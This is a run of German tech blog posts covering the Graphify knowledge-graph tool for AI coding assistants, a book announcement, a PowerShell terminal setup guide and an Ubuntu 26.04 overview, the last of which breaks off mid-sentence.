Unser Buch Coding mit KI ist gerade erschienen, da taucht schon wieder ein neues Tool auf, das mehr Effizienz verspricht. Graphify erstellt einen sogenannten Knowledge Graph, also eine interne Datenbank über die Verknüpfungen zwischen Komponenten (Text, Code, Bilder, was auch immer) eines Projekts. In der Folge können KI-Tools wie Claude Code auf diese Datenbank zugreifen … Graphify weiterlesen →
Unser Buch Coding mit KI ist gerade erschienen, da taucht schon wieder ein neues Tool auf, das mehr Effizienz verspricht. Graphify erstellt einen sogenannten Knowledge Graph, also eine interne Datenbank über die Verknüpfungen zwischen Komponenten (Text, Code, Bilder, was auch immer) eines Projekts. In der Folge können KI-Tools wie Claude Code auf diese Datenbank zugreifen und sich damit rascher und vor allem Token-sparender im Projekt orientieren. Graphify funktioniert besonders gut für ungeordnete Verzeichnisse, in denen Sie PDFs, Screenshots etc. zu einem Thema ablegen, um diese Informationen später wieder zu nutzen. Installation Graphify ist ein Python-Programm (Open Source, MIT-Lizenz), das Sie am besten mit uv tool install auf Ihrem Rechner einrichten. (uv ist ein moderner Python-Modulmanager, über den ich demnächst hier schreiben will.) Beachten Sie, dass der Paketname graphifyy mit Doppel-Y lautet, während das Kommando graphify heißt. uv tool install graphifyy installiert das Programm. Sofern PATH das Verzeichnis .local/bin enthält, kann graphify anschließend sofort gestartet werden. graphify install richtet Skill-Dateien für die auf Ihrem Rechner gefundenen KI-Tools (in meinem Fall: Claude) ein. $ uv tool install graphifyy $ graphify install skill installed -> /Users/kofler/.claude/skills/graphify/SKILL.md CLAUDE.md -> created at /Users/kofler/.claude/CLAUDE.md Done. Open your AI coding assistant and type: /graphify . Verwendung Im Projektverzeichnis starten Sie nun das KI-Tool Ihrer Wahl (in meinem Fall: Claude Code). Dort steht Graphify jetzt als Skill zur Verfügung. Einfach /graphify . analysiert das Projektverzeichnis und erstellt nach vielen Rückfragen das Verzeichnis graphify_out. Das dauert geraume Zeit und verbrennt etliche Tokens. Das Verzeichnis enthält die folgenden Dateien: ls -l graphify-out/ drwxr-xr-x 4 kofler staff 128 7 Mai 09:54 cache/ -rw-r--r-- 1 kofler staff 213 7 Mai 10:10 cost.json -rw-r--r-- 1 kofler staff 8523 7 Mai 10:10 GRAPH_REPORT.md -rw-r--r-- 1 kofler staff 139973 7 Mai 10:10 graph.html -rw-r--r-- 1 kofler staff 137091 7 Mai 10:09 graph.json -rw-r--r-- 1 kofler staff 7912 7 Mai 10:10 manifest.json Ich habe meine Tests anhand einer Swift-App mit ca. 2000 Zeilen Code in diversen Dateien durchgeführt. Die Ergebnisse sehen eindrucksvoll aus, der unmittelbare Erkenntnisgewinn war aber — zumindest bei diesem Projekt — überschaubar. <img fetchpriority="high" decoding="async" src="https://kofler.info/wp-content/uploads/graphify1.png" alt="" width="1920" height="1591" class="size-full wp-image-9563" srcset="https://kofler.info/wp-content/uploads/graphify1.png 1920w, https://kofler.info/wp-content/uploads/graphify1-784x650.png 784w, https://kofler.info/wp-content/uploads/graphify1-1159x960.png 1159w, https://kofler.info/wp-content/uploads/graphify1-768x636.png 768w, https://kofler.info/wp-content/uploads/graphify1-1536x1273.png 1536w" sizes="(max-width: 1920px) 100vw, 1920px" /> Der anklickbare »Knowledge Graph« <img decoding="async" src="https://kofler.info/wp-content/uploads/graphify2.png" alt="" width="2356" height="2360" class="size-full wp-image-9564" srcset="https://kofler.info/wp-content/uploads/graphify2.png 2356w, https://kofler.info/wp-content/uploads/graphify2-649x650.png 649w, https://kofler.info/wp-content/uploads/graphify2-958x960.png 958w, https://kofler.info/wp-content/uploads/graphify2-350x350.png 350w, https://kofler.info/wp-content/uploads/graphify2-768x769.png 768w, https://kofler.info/wp-content/uploads/graphify2-1533x1536.png 1533w, https://kofler.info/wp-content/uploads/graphify2-2045x2048.png 2045w" sizes="(max-width: 2356px) 100vw, 2356px" /> Kurzfassung der Projektzusammenhänge im Markdown-Format Wenn Sie Änderungen in der Code-Basis oder in Ihren Dateien durchführen, aktualisieren Sie den Knowledge Graph: /graphify . --update # merge changed content into existing graph Der Knowledge Graph kann jetzt die Grundlage für Analysen mit /graphify explain oder graphiy query sein (Ausgabe etwas gekürzt): /graphify explain "the sync process" Here's what the graph tells us about the sync process, grounded in the extracted edges: The sync process is orchestrated by ShoppingViewModel.pullMergePushSave (RestShopping.swift:125-175), which implements the Pull-Merge-Push lifecycle documented in CLAUDE.md. The graph found 16 nodes directly connected to this concept. The three phases (all EXTRACTED edges): 1. Pull — apiPullItems (RestShopping.swift:62-93) fetches items from the remote REST API since the last sync timestamp. 2. Merge — mergeItems (RestShopping.swift:178-193) resolves conflicts using Timestamp-Wins: whichever version of an item has the newer updatedAt wins. Two design rationale nodes connect here: - Timestamp-Wins Conflict Resolution → mergeItems [EXTRACTED] - Soft Delete Pattern → ShoppingItem [EXTRACTED] — items are never truly removed; isDeleted = true propagates deletions to other devices through the sync 3. Push — apiPushItems (RestShopping.swift:96-120) uploads the merged state back to the server. 4. Persist — saveLocally (ViewModel.swift:172-178) writes the final state to the local JSON file. mergeItems then calls replaceItem to update the ViewModel's live state. Wire format bridge: ItemDTO (RestShopping.swift:9-53) shares data with ShoppingItem [EXTRACTED] — it translates between the app's model and the API's integer-boolean/ISO 8601 wire format. Trigger points: ContentView and StatusView both connect to pullMergePushSave in the graph. ContentView runs it via .task, .onChange(scenePhase), and a 40-second timer. StatusView (in Settings) provides a manual trigger. setupNewFamily and joinFamily also call pullMergePushSave as a final step after family registration. The most interesting angle here: the Soft Delete pattern is the load-bearing coupling between ShoppingItem (the model) and the sync logic — if you ever changed ShoppingItem to hard-delete, mergeItems would silently stop propagating deletions. Want me to trace the path from ShoppingItem.isDeleted through to what happens when a remote device pulls? /graphify query "Where in code is the Category class used? Could we drop the @Observable attribute?" Here's what the graph found — and where its limits are: Where Category is used (from the graph): The BFS found 10 nodes. The confirmed connections [EXTRACTED]: - Category → shares_data_with → ShoppingViewModel (ViewModel.swift:1-181) — the ViewModel holds the categories: [Category] array - Category.predefinedCategories (Category.swift:24-37) ↔ ShoppingViewModel — the ViewModel calls this at init to populate its categories - .predefinedCategories() → calls → Color — each category has a color assigned What the graph is missing: There are no direct edges from Category to the view layer (CategoriesView, CategoryButton, EditItemView, CategoryRadioButton). Those views access categories through vm.categories and mutate category.isSelected/category.isExpanded directly — but the graph didn't capture these view→Category property access edges since they go through the ViewModel and aren't explicit call-site imports. On dropping @Observable: The graph can't answer this definitively — it would require the actual property mutation sites. But from the CLAUDE.md rationale node captured in the graph: "Mutable reference-type state (isSelected, isExpanded) is mutated directly from views." That design decision is precisely why @Observable is needed. Without it, those direct mutations on the reference type wouldn't trigger SwiftUI view updates — CategoriesView and EditItemView would stop reacting to category selection changes. Verdict from the graph: @Observable cannot be safely dropped without a larger refactor (e.g., moving isSelected/isExpanded into the ViewModel as @State or @Published backing). The graph confirms the coupling exists; reading Category.swift:4-112 directly would show exactly which properties are var vs let. Die Website preist den größten Vorteil von Graphify an, dass derartige Abfragen auf der Basis des lokalen Knowledge Graphs nun wesentlich weniger Token verbrauchen als wenn das KI-Tool mit find und grep die Codebasis durchsucht und (immer wieder neu) analysiert. Bei meinen Tests ließ sich das Ausmaß der Ersparnis schwer messen. Die Grundidee ist aber gut, die Implementierung sieht sehr vielversprechend aus. Quellen/Links https://graphify.net/ https://github.com/safishamsi/graphify https://github.com/safishamsi/graphify/blob/v7/docs/how-it-works.md https://docs.astral.sh/uv/
Es kommt selten vor, dass ein IT-Buch innerhalb von 18 Monaten eine zweite Auflage erfährt und dabei in großen Teilen neu geschrieben werden muss. Genau das ist uns mit diesem Buch passiert! Wir haben die Gelegenheit genutzt und das Buch komplett aktualisiert und stark erweitert. Der Fokus liegt jetzt bei Agentic Coding, MCP und Skills. … 📚 Coding mit KI (2. Aufl.) weiterlesen →
Es kommt selten vor, dass ein IT-Buch innerhalb von 18 Monaten eine zweite Auflage erfährt und dabei in großen Teilen neu geschrieben werden muss. Genau das ist uns mit diesem Buch passiert! Wir haben die Gelegenheit genutzt und das Buch komplett aktualisiert und stark erweitert. Der Fokus liegt jetzt bei Agentic Coding, MCP und Skills. Wir haben in diesem Buch den »State of the Art« im Bereich KI und Agentic Coding abgesteckt. In unzähligen Tests haben wir ausprobiert, wie weit die Versprechen der KI-Hersteller zutreffen, aber auch, wo heutige KI-Tools versagen. Wir haben lokale Modelle und Open-Source-Tools ebenso verwendet wie kommerzielle KI-Tools von Claude, Cursor, Google und OpenAI. Ein eigenes Kapitel behandelt den neuen Trend der CLI-basierten KI-Tools, also z.B. Claude Code oder OpenAI Codex. Hier gibt es weitere Informationen zum Buch und den obligatorischen Bestell-Link.
Glücklicherweise muss ich nicht allzu oft unter Windows arbeiten. Aber hin und wieder — aktuell für die Überarbeitung meines Scripting-Buchs — lässt es sich nicht vermeiden. Wenn schon Windows, dann wenigstens so komfortabel wie möglich! Und so habe ich in den vergangenen Wochen mein Terminal/PowerShell-Setup optimiert: Nerdfont installiert informativen Prompt eingerichtet (Oh My Posh) bessere … PowerShell-Tuning weiterlesen →
Glücklicherweise muss ich nicht allzu oft unter Windows arbeiten. Aber hin und wieder — aktuell für die Überarbeitung meines Scripting-Buchs — lässt es sich nicht vermeiden. Wenn schon Windows, dann wenigstens so komfortabel wie möglich! Und so habe ich in den vergangenen Wochen mein Terminal/PowerShell-Setup optimiert: Nerdfont installiert informativen Prompt eingerichtet (Oh My Posh) bessere Tastaturunterstützung im Terminal (Emacs-Tastenkürzel) Editor für den Textmodus installiert (je nach Geschmack: Edit, nano, Emacs, NeoVim) sudo aktiviert Dieser Artikel liefert dazu ein paar Details. Der Text beweist gleichzeitig, dass man selbst unter Windows mit relativ wenig Mühe ein produktives Setup einrichten kann. Das erforderliche Fundament liefert Microsoft direkt aus: das Windows Terminal mit vielen High-end-Funktionen inklusive GPU-Rendering, die PowerShell sowie das Paketverwaltungskommando winget. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/powershell1.png" alt="" width="1452" height="790" class="size-full wp-image-9525" srcset="https://kofler.info/wp-content/uploads/powershell1.png 1452w, https://kofler.info/wp-content/uploads/powershell1-850x462.png 850w, https://kofler.info/wp-content/uploads/powershell1-1280x696.png 1280w, https://kofler.info/wp-content/uploads/powershell1-768x418.png 768w" sizes="auto, (max-width: 1452px) 100vw, 1452px" /> PowerShell in einem Windows Terminal mit den JetBrains Nerd Font und »Oh My Posh« Nerdfonts Moderne CLI-Tools stellen im Terminal alle erdenklichen Zeichen und Symbole dar, um auf Dateitypen, den Git-Status oder Fehlerursachen hinzuweisen. In »gewöhnlichen« Fonts fehlen diese Zeichen; im Terminal wird dann ein Rechteck, ein Fragezeichen oder ein anderes Ersatzzeichen angezeigt. Das lässt den Charme moderner Kommandos und Prompt-Frameworks ins Leere laufen. Abhilfe schafft die Installation eines Fonts, der einen Coding-Zeichensatz um Tausende Symbole und Sonderzeichen ergänzt. Auf der Seite https://nerdfonts.com stehen ca. 100 geeignete Fonts zum freien Download zur Auswahl. Aber welcher Font ist der beste? Wenn Sie sich nicht entscheiden können, ist der beliebte JetBrainsMono Nerd Font eine gute Wahl für erste Experimente. Er basiert auf dem freien Mono-Font der Firma JetBrains (IntelliJ, PyCharm etc.). Dieser Font hat noch einen Vorteil: Er lässt sich im Handumdrehen mit winget installieren. Sie sollten die Installation in einem Terminal mit Admin-Rechten durchführen, damit die Fonts auch dann zur Verfügung stehen, wenn Sie in einem Admin-Terminal arbeiten. # in einem Admin-Terminal winget install -e --id DEVCOM.JetBrainsMonoNerdFont Oh My Posh Die Fish oder die Zsh mit der Erweiterung »Oh My Zsh« zeigen im Prompt alle erdenklichen Kontextinformationen an: den Hostnamen, den Verzeichnisnamen, den Git-Zweig und -Status etc. Genau das kann auch Oh My Posh, eine Plattform- und Shell-unabhängiges Prompt-Framework. Die Installation gelingt unter Windows am schnellsten mit winget: winget install JanDeDobbeleer.OhMyPosh -s winget Damit Oh My Posh in interaktiven PowerShell-Sessions aktiviert wird, bauen Sie die folgenden Anweisungen in die Profile-Datei ein (notepad $Profile, wobei Sie notepad durch Ihren Lieblingseditor ersetzen): # Datei Documents/PowerShell/Microsoft.PowerShell_profile.ps1 # Oh My Posh nur in interaktiven PowerShell-Sessions verwenden if (-not [Console]::IsInputRedirected -and (Get-Module -Name PSReadLine -ErrorAction SilentlyContinue)) { oh-my-posh init pwsh | Invoke-Expression } Wenn Sie jetzt ein neues PowerShell-Tab öffnen, wird Oh My Posh erstmals aktiv. Sie werden von einem informativen und mehrfarbigen Default-Prompt begrüßt. Unter https://ohmyposh.dev/docs/themes stehen über 100 weitere Prompt-Themen zur Wahl. Zur Aktivierung bauen Sie den Themennamen in das oh-my-posh-Init-Kommando in der Profile-Datei ein, z.B. so: # Datei Documents/PowerShell/Microsoft.PowerShell_profile.ps1 oh-my-posh init pwsh --config "easy-term" | Invoke-Expression Um die neue Konfiguration zu aktivieren, lesen Sie die Profile-Datei neu ein: . $PROFILE Starship Eine Alternative zu Oh My Posh ist das Framework Starship. Es wurde in Rust entwickelt und ist schneller/effizienter als Oh My Posh. Dafür gibt es aber weniger vordefinierte Themen; generell ist die Konfiguration sperriger. Ich habe beide Frameworks ausprobiert, bin dann aber bei Oh My Posh geblieben. Tastenkürzel in der PowerShell In der PowerShell unterstützt Sie das Modul PSReadLine bei der Kommandoeingabe (siehe auch die Dokumentation zu Set-PSReadLineOption). Standardmäßig schlägt PSReadLine das letzte Kommando mit den selben Anfangsbuchstaben zur Vervollständigung durch Cursor rechts vor. Tab bewirkt, dass begonnenen Dateinamen oder Schlüsselwörter komplettiert werden. Das Verhalten von PSReadLine kann durch Optionen in der Profile-Datei beeinflusst werden. Diese Datei öffnen Sie am bequemsten mit notepad $Profile, wobei Sie notepad durch Ihren Lieblingseditor ersetzen. Damit die Änderungen wirksam werden, laden Sie die Datei mit . $Profile neu. Das folgende Listing schlägt einige Änderungen/Verbesserungen vor. Gleich das erste Kommando bewirkt den größten Unterschied: Nach der Eingabe der ersten Buchstaben haben Sie die Wahl zwischen mehreren ähnlichen zuletzt ausgeführten Kommandos, die Sie mit den Cursortasten aus einer Liste wählen. Mit F2 können Sie zwischen der Listenansicht und dem Defaultverhalten (InlineView) umschalten. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/powershell-readline.png" alt="" width="1452" height="790" class="size-full wp-image-9528" srcset="https://kofler.info/wp-content/uploads/powershell-readline.png 1452w, https://kofler.info/wp-content/uploads/powershell-readline-850x462.png 850w, https://kofler.info/wp-content/uploads/powershell-readline-1280x696.png 1280w, https://kofler.info/wp-content/uploads/powershell-readline-768x418.png 768w" sizes="auto, (max-width: 1452px) 100vw, 1452px" /> Auswahl aus zuletzt ausgeführten Kommandos, die die Buchstaben »ed« enthalten Falls Sie bei InlineView bleiben wollen, sollten Sie zumindest die beiden HistorySearch-Kommandos in Erwägung ziehen. Normalerweise blättern Cursor auf und Cursor ab durch alle bisherigen Kommandos. Mit den hier vorgeschlagenen Einstellungen können Sie dagegen git eingeben und dann durch die bisherigen git-Kommandos blättern. Emacs- und Vi-Fans werden begeistert sein, dass die PowerShell per EditMode die vertrauten Tastenkürzel akzeptiert. Die if-Abfrage im folgenden Listing stellt sicher, dass die Einstellungen nur in interaktiven Sessions gelten, aber z.B. nicht, wenn die PowerShell ein einzelnes Kommando via SSH ausführt. # Ergänzungen in der Profile-Datei if (-not [Console]::IsInputRedirected -and (Get-Module -Name PSReadLine -ErrorAction SilentlyContinue)) { # zeigt Vervollständigungsliste an, Auswahl per Cursortasten Set-PSReadLineOption -PredictionViewStyle ListView # Cursor auf/ab berücksichtigen die bisherige Eingabe Set-PSReadLineKeyHandler -Key UpArrow ` -Function HistorySearchBackward Set-PSReadLineKeyHandler -Key DownArrow ` -Function HistorySearchForward # Emacs- oder Vi-Tastenkürzel (per Default: Windows-Tastenkürzel) Set-PSReadLineOption -EditMode Emacs Set-PSReadLineOption -EditMode Vi # besser sichtbare Farbe für Inline-Vervollständigung Set-PSReadLineOption -Colors @{ InlinePrediction = '#884488' } # keine Duplikate in der Kommando-History speichern Set-PSReadLineOption -HistoryNoDuplicates } Terminal-Editoren An GUI-Editoren herrscht unter Windows kein Mangel — die Palette reicht von notepad.exe über Notepad++ bis hin zu VS Code und anderen KI-tauglichen Programmen/IDEs. Aber oft wollen Sie einfach nur ein paar Zeilen Text ändern, eine Konfigurationsdatei vervollständigen etc. — und zwar, ohne das Terminal zu verlassen. (Das gilt insbesondere, wenn Sie via SSH remote arbeiten!) Dazu brauchen Sie einen Editor, der im Terminal ausgeführt werden kann. edit: Durchaus nicht die schlechteste Wahl ist edit. Mitte 2025 hat Microsoft diesen Mini-Editor vorgestellt — als GitHub-Projekt in der Programmiersprache Rust! Damit liegt Microsoft voll im Zeitgeist. Zur Installation führen Sie winget install microsoft.edit aus. In der Folge lädt edit <file> die gewünschte Datei. Bemerkenswert an edit ist die intuitive, einfache Bedienung. Text wird mit den Cursortasten markiert, mit Strg+C und Strg+V kopiert und wieder eingefügt etc. Die Cursorposition kann mit der Maus verändert werden, auch das lokalisierte Menü lässt sich per Maus bedienen und gibt IT-Veteranen ein wenig Turbo-Pascal-Vibes. Fortgeschrittene Funktionen fehlen allerdings: kein Syntaxhighlighting, keine Code-Vervollständigung, keine Einstellungen … <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/powershell-edit.png" alt="" width="1452" height="790" class="size-full wp-image-9524" srcset="https://kofler.info/wp-content/uploads/powershell-edit.png 1452w, https://kofler.info/wp-content/uploads/powershell-edit-850x462.png 850w, https://kofler.info/wp-content/uploads/powershell-edit-1280x696.png 1280w, https://kofler.info/wp-content/uploads/powershell-edit-768x418.png 768w" sizes="auto, (max-width: 1452px) 100vw, 1452px" /> Der relativ neue CLI-Editor »Edit« nano: In der Linux-Welt ist nano das Gegenstück zu edit. Der Editor hat zwar nur relativ wenige Funktionen, ist dafür aber einfach zu bedienen. Praktischerweise zeigt das Programm alle erforderlichen Tastenkürzel gleich in der Statusleiste an. Die Installation gelingt unkompliziert mit winget install -e --id GNU.Nano. vi/NeoVim: Die einen lieben ihn, andere hassen ihn — das Editor-Urgestein vi. Vi-Fans verwenden unter Windows am besten die Variante NeoVim (siehe https://neovim.io). NeoVim ist aber nur die Basis: Damit das Programm sein ganzes Potential ausschöpfen kann, brauchen Sie diverse Erweiterungen (Git, LSP, Fuzzy Finding usw.) und Konfigurationseinstellungen. Das Setup gelingt am schnellsten mit Frameworks wie LazyVim oder AstroNvim. Emacs: Mich hat der Vi nie überzeugen können, ich bin im Emacs-Lager. Unter Windows ist das allerdings ein Abenteuer. Von abgespeckten Emacs-Klonen wie mg, zile oder jmacs gibt es keine Windows-Ports, die im Terminal funktionieren. Also muss es die Vollversion sein: winget install -e --id GNU.Emacs. winget kümmert sich leider nicht darum, das Emacs-Installationsverzeichnis zum Path hinzuzufügen. Sie müssen sich selbst um diesen Schritt kümmern. Die ausführbare Datei befindet sich üblicherweise in C:\Program Files\Emacs\emacs-<n.n>\bin. Beim Start des Editors müssen Sie an die Option -nw denken (no window), sonst erscheint der Emacs in einem eigenen Fenster statt im Terminal. Noch eine Besonderheit betrifft die Konfigurationsdatei ~/.emacs. Die Windows-Version des Emacs liest diese Datei normalerweise (abhängig von der HOME-Umgebungsvariablen) nicht aus C:\Users\name\.emacs, sondern aus C:\Users\name\AppData\Roaming\.emacs. Wenn Emacs Unicode-Zeichen fehlerhaft anzeigt, bauen Sie die folgenden Anweisungen in .emacs ein: # Datei C:\Users\<name>\AppData\Roaming\.emacs (prefer-coding-system 'utf-8) (set-default-coding-systems 'utf-8) (set-terminal-coding-system 'utf-8) (set-keyboard-coding-system 'utf-8) (set-language-environment "UTF-8") sudo Um unter Windows ein Kommando mit Administratorrechten auszuführen, müssen Sie zuerst umständlich ein Terminal mit Admin-Rechten öffnen. Unter Linux und macOS klappt das mit sudo viel unkomplizierter. Ab Version 11 / 24H2 gibt es sudo auch unter Windows. Microsoft hat das Kommando komplett neu implementiert und nur den Namen übernommen. Die Funktionsweise und Optionen sind anders als unter Linux oder macOS. Insbesondere gibt es keine (Passwort-)Authentifizierung; stattdessen erscheint vor sudo-Aktivitäten nur der UAC-Bestätigungsdialog (User Account Control). sudo muss zuerst aktiviert werden. Sie finden die Option in den Einstellungen unter System / Erweitert / Terminal. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/powershell-sudo.png" alt="" width="1456" height="940" class="size-full wp-image-9541" srcset="https://kofler.info/wp-content/uploads/powershell-sudo.png 1456w, https://kofler.info/wp-content/uploads/powershell-sudo-850x549.png 850w, https://kofler.info/wp-content/uploads/powershell-sudo-1280x826.png 1280w, https://kofler.info/wp-content/uploads/powershell-sudo-768x496.png 768w" sizes="auto, (max-width: 1456px) 100vw, 1456px" /> sudo unter Windows aktivieren Es gibt drei Arten, wie sudo-Kommandos ausgeführt werden können: in einem neuen Fenster (gilt per Default, forceNewWindow), mit deaktivierter Eingabe (disableInput, die Standardeingabe wird blockiert) oder inline (normal, also wie unter Linux mit der Möglichkeit, direkt im Terminal mit dem ausgeführten Kommando zu interagieren). Statt in den Einstellungen können Sie sudo auch in einem Terminal mit Admin-Rechten aktivieren: sudo config --enable forceNewWindow|disableInput|normal Sobald sudo zur Verfügung steht, können Sie das Kommando wie in den folgenden Beispielen anwenden. (Das erste Kommando setzt voraus, dass das Programm edit installiert ist.) sudo edit C:\Windows\System32\drivers\etc\hosts sudo notepad C:\Windows\System32\drivers\etc\hosts sudo winget upgrade --all sudo pwsh -c "Restart-Service -Name Spooler" Beachten Sie, dass sudo Restart-Service -Name Spooler nicht funktioniert! sudo kann nur »echte« Kommandos (Executables) ausführen, keine CmdLets. Für CmdLets müssen Sie den Umweg über eine neue PowerShell-Instanz nehmen. Der Windows-Implementierung von sudo fehlt auch die Option -s, um eine neue Shell zu starten. Stattdessen führt sudo pwsh zum Ziel. Sicherheitsbedenken: Microsoft warnt davor, sudo ohne unmittelbare Notwendigkeit zu aktivieren. Die Warnung bezieht sich insbesondere auf die Inline-Variante. In der sudo-Implementierung von Linux wurden über den Verlauf von Jahrzehnten immer neue Sicherheitsprobleme gefunden und behoben. Vor diesem Hintergrund rate ich dazu, die Warnungen Microsofts ernst zu nehmen. sudo ist eine vergleichsweise neue, bislang eher selten genutzte Funktion. gsudo: Eine Alternative sudo ist das schon länger verfügbare Kommando gsudo. Dieses Open-Source-Projekt bietet mehr Features als die Microsoft-Implementierung. Quellen/Links https://nerdfonts.com https://ohmyposh.dev https://starship.rs https://github.com/MicrosoftDocs/PowerShell-Docs/blob/main/reference/5.1/PSReadLine/Set-PSReadLineOption.md Editoren https://github.com/microsoft/edit https://neovim.io https://www.lazyvim.org https://astronvim.com https://www.gnu.org/software/emacs sudo https://github.com/microsoft/sudo https://learn.microsoft.com/windows/advanced-settings/sudo https://github.com/gerardog/gsudo
Ubuntu 26.04 ist fertig und stellt für die nächsten zwei Jahre die LTS-Messlatte. Im Vergleich zu Version 24.04 hat sich viel geändert. Ich habe mich bemüht, in diesem Blog-Artikel die wichtigsten Details knapp zusammenzufassen. Noch mehr Lesestoff bieten die Release Notes sowie omgubuntu.co.uk. Einige wesentliche technische Neuerungen waren bereits in Version 25.10 präsent (Rust Core … Ubuntu 26.04 weiterlesen →
Ubuntu 26.04 ist fertig und stellt für die nächsten zwei Jahre die LTS-Messlatte. Im Vergleich zu Version 24.04 hat sich viel geändert. Ich habe mich bemüht, in diesem Blog-Artikel die wichtigsten Details knapp zusammenzufassen. Noch mehr Lesestoff bieten die Release Notes sowie omgubuntu.co.uk. Einige wesentliche technische Neuerungen waren bereits in Version 25.10 präsent (Rust Core Utilities, Dracut, TPM-Verschlüsselung); diese habe ich im Detail bereits im Blog beschrieben. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/u2604-desktop.png" alt="" width="2478" height="1586" class="size-full wp-image-9517" srcset="https://kofler.info/wp-content/uploads/u2604-desktop.png 2478w, https://kofler.info/wp-content/uploads/u2604-desktop-850x544.png 850w, https://kofler.info/wp-content/uploads/u2604-desktop-1280x819.png 1280w, https://kofler.info/wp-content/uploads/u2604-desktop-768x492.png 768w, https://kofler.info/wp-content/uploads/u2604-desktop-1536x983.png 1536w, https://kofler.info/wp-content/uploads/u2604-desktop-2048x1311.png 2048w" sizes="auto, (max-width: 2478px) 100vw, 2478px" /> Der Ubuntu-Desktop mit dem neuen System-Monitor »Resources« Software Die folgende Tabelle fasst die Versionen der Kernkomponenten von Ubuntu 26.04 zusammen: Basis Programmierung Server --------------- -------------- -------------------------- Kernel 7.0 bash 5.3 Apache 2.4 glibc 2.43 gcc 16 CUPS 2.4 Wayland 1.24 git 2.53 MariaDB 11.8 / MySQL 8.4 Gnome 50 Java 25 OpenSSH 10.0 Mesa 26.0 PHP 8.5 PostgreSQL 18 Systemd 250 Podman 5.7 Postfix 3.10 NetworkMan 1.54 Python 3.14 qemu/KVM 10.2 GRUB 2.14 Node.js 22 Samba 4.23 Ubuntu hat eine ganze Reihe neuer Default-Programme: Bisher Neu ----------------- ----------- Image-Viewer Eye of Gnome Loupe PDF-Viewer Evince Paper System Monitor Gnome System Monitor Resources Terminal Emulator Gnome Terminal Ptyxis Video Player Totem Showtime Apropos Terminal Emulator: Ptyxis ist ein modernes Programm samt GPU-Rendering. Falls Sie noch höhere Ansprüche stellen, steht nun auch Ghostty in den Paketquellen zur Verfügung (Snap-frei mit apt install ghostty). Standardmäßig nicht mehr installiert wird das Programm Anwendungen & Aktualisierung, mit dem die Paketquellen verändert und proprietäre Treiber installiert werden konnten. Vor allem letztere Funktion war sehr beliebt. Immerhin ist das Programm nur ein apt-Kommando entfernt (apt install software-properties-gtk). Kein Durchbruch stellt Ubuntu 26.04 bezüglich des Ubuntu-eigenen Snap-Formats dar. Per Default sind überraschend wenige Apps als Snap-Pakete installiert: Firefox, der Firmware Updater, das neue Security Center und die Paketverwaltung App Zentrum alias Snap Store. Das App-Zentrum unterstützt zudem schon seit der vorigen Version auch Debian-Pakete. Die Snap-Revolution bleibt vorerst aus. Technische Neuerungen Gnome ist jetzt Wayland-only, X11 wird nicht mehr unterstützt. (XWayland natürlich schon, aber nicht der Betrieb von Gnome unter X.) Der Kernel hat einen Sprung auf 7.0 gemacht. Initial-Ramdisk-Dateien werden nun mit Dracut erstellt (schon seit Version 25.10). Chrony ist der Default-Time-Dämon (ersetzt systemd-timesyncd). Rust Utilities: Die Rust-Programme/Utilities sudo-rs und rust-coreutils kommen standardmäßig zum Einsatz (schon seit Version 25.10) Software-Entwicklern hilft das neue Gnome-Programm Sysprof-Programm bei Debugging und Profiling (siehe https://apps.gnome.org/de/Sysprof/). ROCm: Ubuntu ist stolz darauf, dass die Installation der ROCm-GPU-Bibliotheken von AMD nun ganz einfach mit sudo install rocm gelingt. Praktisch ist das vor allem für KI-Anwendungen und die Ausführung von Sprachmodellen. Phoronix hat das ausprobiert und festgestellt, dass damit die sechs Monate alte Version 7.1 auf der SSD landet. (Aktuell wäre 7.2.2.) Das stiftet wenig Vertrauen in die zukünftige Wartung dieser Pakete … Das neue Sicherheitszentrum (security_center, ein Snap-Paket) hilft bei der Ubuntu-Pro-Aktivierung und der Verwaltung weiterer Sicherheitsfunktionen. Die App hat noch Luft nach oben, würde ich sagen. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/u2604-security-center.png" alt="" width="1704" height="1304" class="size-full wp-image-9518" srcset="https://kofler.info/wp-content/uploads/u2604-security-center.png 1704w, https://kofler.info/wp-content/uploads/u2604-security-center-850x650.png 850w, https://kofler.info/wp-content/uploads/u2604-security-center-1254x960.png 1254w, https://kofler.info/wp-content/uploads/u2604-security-center-768x588.png 768w, https://kofler.info/wp-content/uploads/u2604-security-center-1536x1175.png 1536w" sizes="auto, (max-width: 1704px) 100vw, 1704px" /> Das neue Security Center wirkt noch etwas leer. Vier GByte RAM sind nicht genug In der Vergangenheit waren 4 GiB RAM bei den meisten Distributionen zumindest für erste Tests ausreichend. Ubuntu verlangt für Desktop-Installationen nun offiziell 6 GiB. Eine praxisnahe Nutzung unter 8 GiB RAM ist sicher nicht zu empfehlen; das galt auch schon für frühere Versionen. Andererseits waren die 4 GiB lange absolut ausreichend, um Ubuntu zumindest in virtuellen Maschinen einfach schnell mal auszuprobieren. (Und bei vielen anderen Distributionen reicht das noch immer.) Insofern stellt sich die Frage, warum Ubuntu so viel mehr Arbeitsspeicher braucht. (Snap?) Im Internet gibt es unterschiedliche Angaben, ob der Betrieb nicht doch mit 4 GiB gelingt. Vermutlich. In einer meiner Testinstallationen (6 GiB RAM in einer virtuellen Maschine) sind nach dem Desktop-Login noch 3 GiB verfügbar. free -h gesamt benutzt frei gemns. Puffer/Cache verfügbar Speicher: 5,3Gi 2,2Gi 1,7Gi 108Mi 1,6Gi 3,0Gi Auslager: 4,0Gi 0B 4,0Gi Andererseits blieb eine virtuelle Installation auf einem MacBook mit UTM vor ein paar Tagen hängen (schon während der Installation, nicht im Betrieb). In der Folge habe ich auf weitere 4-GiB-Tests verzichtet. So relevant ist das Limit für mich nun auch wieder nicht. Meine Rechner sind mit ausreichend RAM ausgestattet :-) Letzte Anmerkung zu diesem Thema: Für Ubuntu Server empfehlen die Release Notes ein Minimum von 1,5 GiB. Zur Einordnung: Im Linux-Unterricht verwende ich dutzendweise Alma-Linux-10-VMs mit 1 GiB RAM, die absolut rund laufen. Gnome Middle-Click Ich wechsle berufsbedingt viel zwischen Linux und macOS hin und her. Der für mich auf dem Desktop irritierendste Nachteil von macOS besteht darin, dass das Markieren und Einfügen mit der mittleren Maustaste nicht funktioniert (im Terminal schon, aber nicht mit anderen Programmen). Unter Linux verwende ich diese Funktion ständig, sicher mehrere Male pro Stunde. Die 